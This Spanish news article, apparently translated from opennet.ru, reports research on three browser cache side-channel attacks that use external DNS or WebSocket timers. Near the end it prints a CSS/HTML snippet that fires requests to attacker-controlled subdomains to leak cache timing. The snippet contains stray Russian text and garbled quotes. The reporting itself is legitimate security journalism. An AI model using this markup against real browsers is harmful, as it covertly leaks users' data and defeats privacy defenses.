Un grupo de investigadores de varias universidades estadounidenses, israelíes y australianas ha desarrollado tres ataques funcionales en navegadores web para extraer información sobre el contenido de la caché del procesador. Un método funciona en navegadores sin JavaScript, y los otros dos evitan los métodos de defensa existentes contra ataques por canal lateral, incluidos los utilizados en Tor browser y DeterFox. El código para demostrar los ataques, así como los componentes del servidor necesarios para los ataques, se han publicado en GitHub.
Para analizar el contenido de la caché, en todos los ataques se utiliza el método Prime+Probe, que implica llenar la caché con un conjunto de valores de referencia y determinar los cambios mediante la medición del tiempo de acceso a ellos durante el relleno repetido. Para eludir los mecanismos de defensa en los navegadores que impiden la medición precisa del tiempo, en dos variantes se realiza una consulta a un servidor DNS o WebSocket controlado por el atacante, donde se registra el tiempo de llegada de las solicitudes. En una variante, se utiliza un tiempo de respuesta DNS fijo como referencia de tiempo.
Las mediciones realizadas con servidores DNS o WebSocket externos, gracias a un sistema de clasificación basado en aprendizaje automático, resultaron ser suficientes para predecir los valores con una precisión de hasta 98% en el escenario más óptimo (en promedio, 80-90%). Los métodos de ataque se han probado en diversas plataformas de hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) y han demostrado ser universales.

En la primera variante del ataque "DNS Racing" se utiliza una implementación clásica del método Prime+Probe, que utiliza arreglos de JavaScript. Las diferencias se reducen al uso de un temporizador externo basado en DNS y un controlador onerror que se activa al intentar cargar una imagen desde un dominio inexistente. El temporizador externo permite realizar el ataque Prime+Probe en navegadores que limitan o desactivan por completo el acceso a los temporizadores de JavaScript.
Para un servidor DNS ubicado en la misma red Ethernet, la precisión del temporizador se estima en aproximadamente 2 ms, lo cual es suficiente para llevar a cabo un ataque a través de canales externos (para comparación, la precisión del temporizador JavaScript estándar en Tor Browser se reduce a 100 ms). No se requiere control sobre el servidor DNS para el ataque, ya que el tiempo de ejecución de la operación se ajusta de tal manera que el tiempo de respuesta del DNS sirve como un indicativo de la finalización más temprana de la verificación (dependiendo de si el manejador onerror se activó antes o después, se deduce la velocidad de ejecución de la operación de verificación con la caché).
El segundo método de ataque "String and Sock" está diseñado para eludir los métodos de protección que restringen el uso de arrays a bajo nivel en JavaScript. En lugar de arrays, "String and Sock" emplea operaciones con cadenas de texto muy grandes, cuyo tamaño se elige de tal manera que la variable cubra toda la caché LLC (Last level cache). Luego, se utiliza la función indexOf() para buscar una pequeña subcadena en la cadena que inicialmente no está presente en la cadena original, es decir, la operación de búsqueda implica recorrer toda la cadena. Dado que el tamaño de la cadena corresponde al tamaño de la caché LLC, el escaneo permite ejecutar la operación de verificación de la caché sin manipular arrays. Para medir las latencias, en lugar de DNS se utiliza una conexión a un servidor WebSocket bajo el control del atacante: antes y después de realizar la operación de búsqueda en la cadena se envían solicitudes, sobre la base de las cuales se servidor calcula la latencia que se utiliza para analizar el contenido de la caché.
La tercera variante del ataque «CSS PP0» se implementa a través de HTML y CSS, y puede funcionar en navegadores con JavaScript desactivado. El método es similar a «String and Sock», pero no depende de JavaScript. Durante el ataque, se forma un conjunto de selectores CSS que buscan según una máscara. La cadena inicial grande, que llena la caché, se establece mediante la creación de una etiqueta div con un nombre de clase muy grande. Dentro de ella se incluye un conjunto de otros divs con sus identificadores. Para cada uno de estos divs anidados se define su propio estilo con un selector que busca una subcadena. Al renderizar la página, el navegador primero intenta procesar los divs internos, lo que genera una búsqueda en la gran cadena. La búsqueda se realiza con una máscara que no existe y provoca un recorrido por toda la cadena, tras lo cual se activa la condición «not» e intenta cargar una imagen de fondo que hace referencia a aleatorios. dominios: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Los subdominios son gestionados en el servidor DNS del atacante, que puede medir los retrasos en la recepción de solicitudes. Para todas las solicitudes, el servidor DNS devuelve NXDOMAIN y mantiene un registro del tiempo exacto de acceso. Como resultado del procesamiento del conjunto de divs, el servidor DNS del atacante recibe una serie de solicitudes, cuyos retrasos correlacionan con el resultado de la verificación del contenido de la caché.

Fuente: opennet.ru
